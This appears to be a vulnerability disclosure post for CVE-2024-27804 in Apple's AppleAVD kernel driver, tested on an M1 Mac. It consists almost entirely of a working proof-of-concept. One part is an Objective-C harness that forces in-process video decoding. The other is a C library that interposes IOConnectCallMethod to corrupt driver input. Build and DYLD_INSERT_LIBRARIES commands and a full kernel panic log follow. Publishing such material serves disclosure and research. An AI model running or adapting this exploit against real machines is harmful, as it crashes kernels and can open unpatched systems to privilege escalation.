CVE-2024-27804 Vulnerability in AppleAVD May 14, 2024 https://github.com/R00tkitSMM/CVE-2024-27804 tested on M1 // vtdecode.m #include <dlfcn.h> #include <stdio.h> #import <AVFoundation/AVFoundation.h> typedef void (*t_VTApplyRestrictions)(int arg); t_VTApplyRestrictions VTApplyRestrictions; int __attribute__((noinline)) fuzz(const char *filename) { @autoreleasepool { NSError *error = nil; NSURL *fileURL = [NSURL fileURLWithPath:[NSString stringWithCString:filename encoding:NSASCIIStringEncoding]]; AVAsset *asset = [AVAsset assetWithURL:fileURL]; if (asset == nil) return 0; AVAssetReader *reader = [[AVAssetReader alloc] initWithAsset:asset error:&error]; if (reader == nil) return 0; NSArray *tracks = [asset tracksWithMediaType:AVMediaTypeVideo]; if (tracks == nil || ([tracks count] == 0)) return 0; AVAssetTrack *track = tracks[0]; NSDictionary *outputSettings = [NSDictionary dictionaryWithObject:[NSNumber numberWithInt:kCMPixelFormat_32BGRA] forKey:(id)kCVPixelBufferPixelFormatTypeKey]; AVAssetReaderTrackOutput *output = [AVAssetReaderTrackOutput assetReaderTrackOutputWithTrack:track outputSettings:outputSettings]; [reader addOutput:output]; [reader startReading]; for (int frame = 0; frame < 2; frame++) { // printf("Frame %d\n", frame); CMSampleBufferRef sampleBuffer = [output copyNextSampleBuffer]; if (sampleBuffer == nil) break; CMSampleBufferInvalidate(sampleBuffer); CFRelease(sampleBuffer); sampleBuffer = NULL; } } return 1; } int main(int argc, const char *argv[]) { if (argc < 2) { printf("Usage: %s <filename>\n", argv[0]); return 0; } // make decoding run in the current process instead of VTDecoderXPCService void *toolbox = dlopen("/System/Library/Frameworks/VideoToolbox.framework/" "Versions/A/VideoToolbox", RTLD_NOW); if (!toolbox) { printf("Error loading library\n"); return 0; } VTApplyRestrictions = (t_VTApplyRestrictions)dlsym(toolbox, "VTApplyRestrictions"); if (!VTApplyRestrictions) { printf("Error finding VTApplyRestrictions symbol\n"); return 0; } VTApplyRestrictions(1); fuzz(argv[1]); return 0; } // flip.c #include <IOKit/IOKitLib.h> #include <dlfcn.h> #include <execinfo.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/sysctl.h> #include <time.h> void flip_bit(void *buf, size_t len) { if (!len) return; size_t offset = rand() % len; ((int *)buf)[offset] = 0x41414141; } kern_return_t fake_IOConnectCallMethod(mach_port_t connection, uint32_t selector, uint64_t *input, uint32_t inputCnt, void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCntP) { flip_bit(inputStruct, inputStructCnt); return IOConnectCallMethod(connection, selector, input, inputCnt, inputStruct, inputStructCnt, output, outputCnt, outputStruct, outputStructCntP); } typedef struct interposer { void *replacement; void *original; } interpose_t; __attribute__((used)) static const interpose_t interposers[] __attribute__((section("__DATA,__interpose"))) = { {.replacement = (void *)fake_IOConnectCallMethod, .original = (void *)IOConnectCallMethod}}; clang -arch arm64 -o vtdecode vtdecode.m -framework VideoToolbox -framework Foundation -framework CoreMedia -framework CoreVideo -framework AVFoundation clang -dynamiclib -o flip.dylib flip.c -framework IOKit DYLD_INSERT_LIBRARIES=./flip.dylib ./vtdecode input_poc/orientation-normal-fragmented.mp4.mov panic(cpu 4 caller 0xfffffe0026851cdc): Unaligned kernel data abort. at pc 0xfffffe0026aed514, lr 0xfffffe0026aed5d8 (saved state: 0xfffffe3a396e3200) x0: 0x000000000000000e x1: 0xfffffe1002bdc01b x2: 0x0000000000000000 x3: 0xfffffe3a396e3444 x4: 0xfffffe3a396e344c x5: 0x000000000002d1f4 x6: 0x0000000000000000 x7: 0xffffffffffffffff x8: 0x0000000000000004 x9: 0xfffffe1002bdc01f x10: 0x0000000000000000 x11: 0x0000000000000002 x12: 0x0000000000000004 x13: 0x0000000000000000 x14: 0x0000000000000000 x15: 0x0000000000000000 x16: 0xfffffe0026aeda90 x17: 0xfffffe0026aed9fc x18: 0x0000000000000000 x19: 0xfffffe1b40e90000 x20: 0x0000000000000000 x21: 0x0000000000000000 x22: 0xfffffe1002bdc000 x23: 0x0000000000000001 x24: 0x0000000000000000 x25: 0xfffffe1002bdc024 x26: 0x000000000000001b x27: 0x00000000000008b0 x28: 0x000000000000001b fp: 0xfffffe3a396e3610 lr: 0xfffffe0026aed5d8 sp: 0xfffffe3a396e3550 pc: 0xfffffe0026aed514 cpsr: 0x60401208 esr: 0x96000021 far: 0xfffffe1002bdc01b Debugger message: panic Memory ID: 0x6 OS release type: User OS version: 23C71 Kernel version: Darwin Kernel Version 23.2.0: Wed Nov 15 21:53:34 PST 2023; root:xnu-10002.61.3~2/RELEASE_ARM64_T8103 Fileset Kernelcache UUID: 6DAC2CF8E68E8F436296A697E29AAD44 Kernel UUID: E245D804-1FA3-31E2-90BC-B4DF75B2129E Boot session UUID: 52885412-0864-4DFF-8E9E-36C3C7BC8B88 iBoot version: iBoot-10151.61.4 secure boot?: YES roots installed: 0 Paniclog version: 14 KernelCache slide: 0x000000001dac4000 KernelCache base: 0xfffffe0024ac8000 Kernel slide: 0x000000001dacc000 Kernel text base: 0xfffffe0024ad0000 Kernel text exec slide: 0x000000001efd8000 Kernel text exec base: 0xfffffe0025fdc000 mach_absolute_time: 0x1c4f4c5a5 Epoch Time: sec usec Boot : 0x65a56518 0x000b7c0f Sleep : 0x00000000 0x00000000 Wake : 0x00000000 0x00000000 Calendar: 0x65a5664f 0x00072ae4 Zone info: Zone map: 0xfffffe100f2dc000 - 0xfffffe300f2dc000 . VM : 0xfffffe100f2dc000 - 0xfffffe14dbfa8000 . RO : 0xfffffe14dbfa8000 - 0xfffffe1675940000 . GEN0 : 0xfffffe1675940000 - 0xfffffe1b4260c000 . GEN1 : 0xfffffe1b4260c000 - 0xfffffe200f2d8000 . GEN2 : 0xfffffe200f2d8000 - 0xfffffe24dbfa4000 . GEN3 : 0xfffffe24dbfa4000 - 0xfffffe29a8c70000 . DATA : 0xfffffe29a8c70000 - 0xfffffe300f2dc000 Metadata: 0xfffffe3a1c3ac000 - 0xfffffe3a243ac000 Bitmaps : 0xfffffe3a243ac000 - 0xfffffe3a27194000 Extra : 0 - 0 CORE 0 recently retired instr at 0xfffffe00261886e4 CORE 1 recently retired instr at 0xfffffe00261886e4 CORE 2 recently retired instr at 0xfffffe00261886e4 CORE 3 recently retired instr at 0xfffffe00261886e4 CORE 4 recently retired instr at 0xfffffe0026186ee8 CORE 5 recently retired instr at 0xfffffe00261886e4 CORE 6 recently retired instr at 0xfffffe00261886e4 CORE 7 recently retired instr at 0xfffffe00261886e4 TPIDRx_ELy = {1: 0xfffffe1b448bd030 0: 0x0000000000001004 0ro: 0x000000010061c320 } CORE 0 PVH locks held: None CORE 1 PVH locks held: None CORE 2 PVH locks held: None CORE 3 PVH locks held: None CORE 4 PVH locks held: None CORE 5 PVH locks held: None CORE 6 PVH locks held: None CORE 7 PVH locks held: None CORE 0: PC=0xfffffe002606ff30, LR=0xfffffe002606ff30, FP=0xfffffe3a39a13ef0 CORE 1: PC=0xfffffe002606ff30, LR=0xfffffe002606ff30, FP=0xfffffe3a392b7ef0 CORE 2: PC=0xfffffe002606ff30, LR=0xfffffe002606ff30, FP=0xfffffe3a37df7ef0 CORE 3: PC=0xfffffe002606ff30, LR=0xfffffe002606ff30, FP=0xfffffe3a37c8fef0 CORE 4 is the one that panicked. Check the full backtrace for details. CORE 5: PC=0xfffffe002606ff34, LR=0xfffffe002606ff30, FP=0xfffffe3a39033ef0 CORE 6: PC=0xfffffe002606ff34, LR=0xfffffe002606ff30, FP=0xfffffe3a39893ef0 CORE 7: PC=0xfffffe002606ff34, LR=0xfffffe002606ff30, FP=0xfffffe3a396a7ef0 Compressor Info: 3% of compressed pages limit (OK) and 2% of segments limit (OK) with 0 swapfiles and OK swap space Panicked task 0xfffffe1b46695e18: 14298 pages, 13 threads: pid 2352: vtdecode Panicked thread: 0xfffffe1b448bd030, backtrace: 0xfffffe3a396e2930, tid: 184820 lr: 0xfffffe0026035568 fp: 0xfffffe3a396e29c0 lr: 0xfffffe002617fa24 fp: 0xfffffe3a396e2a30 lr: 0xfffffe002617de84 fp: 0xfffffe3a396e2b20 lr: 0xfffffe0025fe3b68 fp: 0xfffffe3a396e2b30 lr: 0xfffffe0026034e48 fp: 0xfffffe3a396e2ee0 lr: 0xfffffe002684726c fp: 0xfffffe3a396e2f00 lr: 0xfffffe0026851cdc fp: 0xfffffe3a396e3080 lr: 0xfffffe002617f890 fp: 0xfffffe3a396e30f0 lr: 0xfffffe002617e138 fp: 0xfffffe3a396e31e0 lr: 0xfffffe0025fe3b68 fp: 0xfffffe3a396e31f0 lr: 0xfffffe0026aed5d8 fp: 0xfffffe3a396e3610 lr: 0xfffffe0026ad6fe4 fp: 0xfffffe3a396e3720 lr: 0xfffffe0026ad66b4 fp: 0xfffffe3a396e3790 lr: 0xfffffe0026ad4e48 fp: 0xfffffe3a396e37d0 lr: 0xfffffe00267a0168 fp: 0xfffffe3a396e3810 lr: 0xfffffe00267a0484 fp: 0xfffffe3a396e39a0 lr: 0xfffffe002614b294 fp: 0xfffffe3a396e3ac0 lr: 0xfffffe002603bce8 fp: 0xfffffe3a396e3b60 lr: 0xfffffe002600edd4 fp: 0xfffffe3a396e3bc0 lr: 0xfffffe00260273f8 fp: 0xfffffe3a396e3c60 lr: 0xfffffe0026027864 fp: 0xfffffe3a396e3d50 lr: 0xfffffe0026173698 fp: 0xfffffe3a396e3e20 lr: 0xfffffe002617e18c fp: 0xfffffe3a396e3f10 lr: 0xfffffe0025fe3b68 fp: 0xfffffe3a396e3f20 Kernel Extensions in backtrace: com.apple.driver.AppleAVD(737.1)[63D957B3-2E48-36EA-880C-6F0BE3DE16A6]@0xfffffe0026a37e00->0xfffffe0026b04b43 dependency: com.apple.driver.AppleARMPlatform(1.0.2)[9FC0A536-5BC6-33D5-911A-5A46BDDBBCEF]@0xfffffe00269dfe20->0xfffffe0026a3295b dependency: com.apple.driver.FairPlayIOKit(71.3.0)[AD212727-D14F-3DA2-8974-6CEA43B45BC1]@0xfffffe0027e23b50->0xfffffe0027f19aef dependency: com.apple.iokit.CoreAnalyticsFamily(1)[0896C7D3-89F2-3D56-A301-5CB0FE0BBEAC]@0xfffffe0027cb1f60->0xfffffe0027cb9d4b dependency: com.apple.iokit.IOSurface(352.0.3)[0351AFC2-D85C-3BB5-B9C6-C8C0F6C7A01D]@0xfffffe00288a7dc0->0xfffffe00288d85ab